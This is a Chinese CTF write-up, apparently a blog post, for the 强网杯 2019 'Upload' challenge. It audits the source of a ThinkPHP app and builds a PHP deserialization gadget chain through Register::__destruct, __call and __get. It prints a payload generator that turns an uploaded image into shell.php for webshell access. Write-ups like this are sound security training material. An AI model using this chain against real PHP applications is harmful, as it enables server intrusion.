[强网杯 2019]Upload

一、信息收集 

打开界面是一个登陆,界面随便注册一个然后登陆

 

然后是一个上传文件的操作,点击php后发现的回显

 然后又上传了一个图片文件,显示出了照片的存放路径,这里可以上传图片码

 然后抓包看一下,base64解码

 a:5:{s:2:"ID";i:3;s:8:"username";s:3:"111";s:5:"email";s:10:"111@qq.com";s:8:"password";s:32:"698d51a19d8a121ce581499d7b701668";s:3:"img";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/f47454d1d3644127f42070181a8b9afc.png";}

发现是序列化,那么肯定会有反序列化的地方目前还没遇到,也没提示的点了,扫一下目录,扫到了www.tar.gz

里面有用的也就四个文件   index.php  login.php  profile.php  Register.php

二、代码审计

index.php 最重要的也就是cookie反序列化哪里

<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
    public $profile;
    public $profile_db;

    public function index()
    {
        if($this->login_check()){ //因为下面有exit  这里肯定是为false或者0
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        return $this->fetch("index");
    }

    public function home(){
        if(!$this->login_check()){  //这
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
//其实到这里我们只要访问index 和home肯定会执行cookie反序列化
        if(!$this->check_upload_img()){
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("upload");
        }else{
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");
        }
    }

    public function login_check(){
        $profile=cookie('user');//存入cookie中
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));//这里是把cookie反序列化
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

    public function check_upload_img(){
        if(!empty($this->profile) && !empty($this->profile_db)){
            if(empty($this->profile_db['img'])){
                return 0;
            }else{
                return 1;
            }
        }
    }

    public function logout(){
        cookie("user",null);
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    public function __get($name)
    {
        return "";
    }

}

login.php  是一些登陆验证没多大用感觉

<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
    public $checker;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function login(){//因为有 exit两条路要么,checker为0要么第二个if为false
        if($this->checker){
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(input("?post.email") && input("?post.password")){
            $email=input("post.email","","addslashes");
            $password=input("post.password","","addslashes");
            $user_info=db("user")->where("email",$email)->find();
//上面就是一些登陆验证啥的不用管
            if($user_info) {
                if (md5($password) === $user_info['password']) {
                    $cookie_data=base64_encode(serialize($user_info));
                     //这里有个序列化 base64加密
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));
                } else {
                    $this->error('Login failed!', url('../index'));
                }
            }else{
                $this->error('email not registed!',url('../index'));
            }
        }else{
            $this->error('email or password is null!',url('../index'));
        }
    }


}

profile.php 是一个关键的类里面有get call魔术方法和上传目录的相关代码

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){  //感觉每个里面都有这个先省略在这
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){  //上传的名字md5加密.png
//会改变之前的文件名,变成不可控所以要绕过这个if
//所以只能上传一次,不然后台就不为空了
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
//getimagesize 是检测是不是图像类型比如png.jpg等
                @copy($this->filename_tmp, $this->filename);
//把文件复制到指定路径 filename_tmp是系统指定的
//如果我们能控制,指定路径的目录名称,然后传一个图片码不就可以getshell了码
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }  

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

Register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

发现了destruct序列化的入口,我们现在就可以构造链子了,如果想继续构造那么

registed的值必须为0,看了这么多代码,其实有关的就是三个if这里

public function upload_img(){
第一        if($this->checker){  //感觉每个里面都有这个先省略在这
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

肯定是不满足直接checker为0,绕过

     第二   if(!empty($_FILES)){  
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        } 

第二个if我觉得就是对上传的文件进行md5名称.png

ext必须为1才向下运行
   第三     if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
//getimagesize 是检测是不是图像类型比如png.jpg等
                @copy($this->filename_tmp, $this->filename);
//把文件复制到指定路径 filename_tmp是系统指定的
//如果我们能控制,指定路径的目录名称,然后传一个图片码不就可以getshell了码
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    } 

开头destruct结尾upload_img确定了直接调用,

$this->checker->index();   profile.php里面不存在就直接调用了call魔法函数

name的值就是方法的名也就是index

public function __get($name)
    {
        return $this->except[$name];
    }  

    public function __call($name, $arguments)
    {
        if($this->{$name}){//成为了这里的属性,而类中不存在index属性

//就会调用get魔法函数
            $this->{$this->{$name}}($arguments);
        }
    }

return $this->except[$name]; 其实现在就是return $this->except[index];

except是一个数组,正好我们想要调用的这个public function upload_img()也是在同一个类中,那个我们给 index赋值  upload_img这个方法不就可以了吗 

三、getshell

<?php
namespace app\web\controller;
class Register
{
    public $checker;
    public $registed=0;
}
class Profile
{
    public $checker=0;
    public $filename_tmp='./upload/c47b21fcf8f0bc8b3920541abd8024fd/a7c3ce076585477741d951d179ab07dc.png';
    public $filename='./upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');

}
$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

这里filename_tmp就是我们上传图片码的文件位置,下面filename是我们自己构造的

然后因为是cookie反序列化,直接存入cookie刷新页面就会自动反序列化了

首先传入cookie

然后直接访问文件,出现图片的代码、

 

接下来我们可以通过一句话木马来getshell 

获得flag 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值